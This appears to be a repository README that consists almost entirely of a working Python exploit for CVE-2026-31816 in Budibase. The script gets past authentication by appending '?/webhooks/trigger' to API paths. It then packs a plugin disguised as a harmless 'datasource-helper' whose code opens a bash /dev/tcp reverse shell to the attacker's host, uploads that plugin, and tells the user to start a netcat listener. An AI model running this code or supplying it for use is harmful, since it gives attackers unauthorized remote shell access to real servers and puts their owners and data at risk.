README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-31816 - Budibase Reverse Shell Exploit
Usage:
# Start listener first
nc -lvnp 4444
# Run exploit
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
"""
import argparse
import requests
import json
import sys
import os
import tarfile
import io
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class RShellExploit:
def __init__(self, target: str, lhost: str, lport: int, verify_ssl: bool = False):
self.target = target.rstrip('/')
self.lhost = lhost
self.lport = lport
self.bypass = '?/webhooks/trigger'
self.session = requests.Session()
self.session.verify = verify_ssl
def _get_bypass_url(self, endpoint: str) -> str:
if '?' in endpoint:
return f"{self.target}{endpoint}&/webhooks/trigger"
return f"{self.target}{endpoint}{self.bypass}"
def check_vulnerability(self) -> bool:
url = self._get_bypass_url('/api/integrations')
try:
resp = self.session.get(url, timeout=10)
return resp.status_code == 200
except:
return False
def create_rshell_plugin(self, output_path: str = "rshell_plugin.tar.gz") -> str:
print(f"[*] Creating reverse shell plugin targeting {self.lhost}:{self.lport}")
package_json = {
"name": "datasource-helper",
"version": "1.0.0",
"description": "Data source helper plugin"
}
schema_json = {
"type": "datasource",
"metadata": {},
"schema": {
"description": "Helper Datasource",
"friendlyName": "Helper DS",
"type": "Non-relational",
"datasource": {
"host": {"type": "string", "required": True, "default": "localhost"},
"port": {"type": "number", "required": True, "default": 27017}
},
"query": {
"read": {"type": "json", "fields": {}},
"create": {"type": "json", "fields": {}}
}
}
}
# Simple reverse shell using bash /dev/tcp
rshell_js = f'''// Reverse Shell - CVE-2026-31816
var cp = require("child_process");
var cmd = "bash -c \'bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1\'";
console.log("[RShell] Connecting to {self.lhost}:{self.lport}...");
try {{
cp.exec(cmd);
console.log("[RShell] Shell spawned");
}} catch(e) {{
console.log("[RShell] Error: " + e);
}}
module.exports = {{schema: {{}}, integration: function() {{}}}};
'''
with tarfile.open(output_path, "w:gz") as tar:
pkg_data = json.dumps(package_json, indent=2).encode('utf-8')
pkg_info = tarfile.TarInfo(name="package.json")
pkg_info.size = len(pkg_data)
tar.addfile(pkg_info, io.BytesIO(pkg_data))
schema_data = json.dumps(schema_json, indent=2).encode('utf-8')
schema_info = tarfile.TarInfo(name="schema.json")
schema_info.size = len(schema_data)
tar.addfile(schema_info, io.BytesIO(schema_data))
js_data = rshell_js.encode('utf-8')
js_info = tarfile.TarInfo(name=f"{package_json['name']}.js")
js_info.size = len(js_data)
tar.addfile(js_info, io.BytesIO(js_data))
return output_path
def upload_plugin(self, file_path: str) -> dict:
url = self._get_bypass_url('/api/plugin/upload')
print(f"[*] Uploading to: {url}")
with open(file_path, 'rb') as f:
files = {'file': (os.path.basename(file_path), f, 'application/gzip')}
resp = self.session.post(url, files=files, timeout=60)
print(f"[*] Status: {resp.status_code}")
print(f"[*] Response: {resp.text[:500]}")
if resp.status_code in [200, 201]:
return resp.json() if resp.text else {}
return None
def main():
parser = argparse.ArgumentParser(description="CVE-2026-31816 Reverse Shell Exploit")
parser.add_argument("-t", "--target", required=True, help="Target URL")
parser.add_argument("--lhost", required=True, help="Your IP (listener host)")
parser.add_argument("--lport", type=int, default=4444, help="Listener port (default: 4444)")
args = parser.parse_args()
print("="*60)
print("CVE-2026-31816 - Reverse Shell Exploit")
print("="*60)
print(f"[*] Target: {args.target}")
print(f"[*] Reverse shell: {args.lhost}:{args.lport}")
print()
print("[!] Make sure you have a listener running:")
print(f" nc -lvnp {args.lport}")
print()
exploit = RShellExploit(args.target, args.lhost, args.lport)
# Check vulnerability
print("[*] Checking vulnerability...")
if not exploit.check_vulnerability():
print("[-] Target does not appear vulnerable")
sys.exit(1)
print("[+] Target is vulnerable!")
# Create plugin
plugin_path = exploit.create_rshell_plugin()
# Upload
print("\n[*] Uploading reverse shell plugin...")
result = exploit.upload_plugin(plugin_path)
if result:
print("\n" + "="*60)
print("[+] SUCCESS! Plugin uploaded!")
print(f"[+] Check your listener at {args.lhost}:{args.lport}")
print("="*60)
else:
print("\n[-] Upload failed - check error message above")
# Cleanup
if os.path.exists(plugin_path):
os.remove(plugin_path)
if __name__ == "__main__":
main()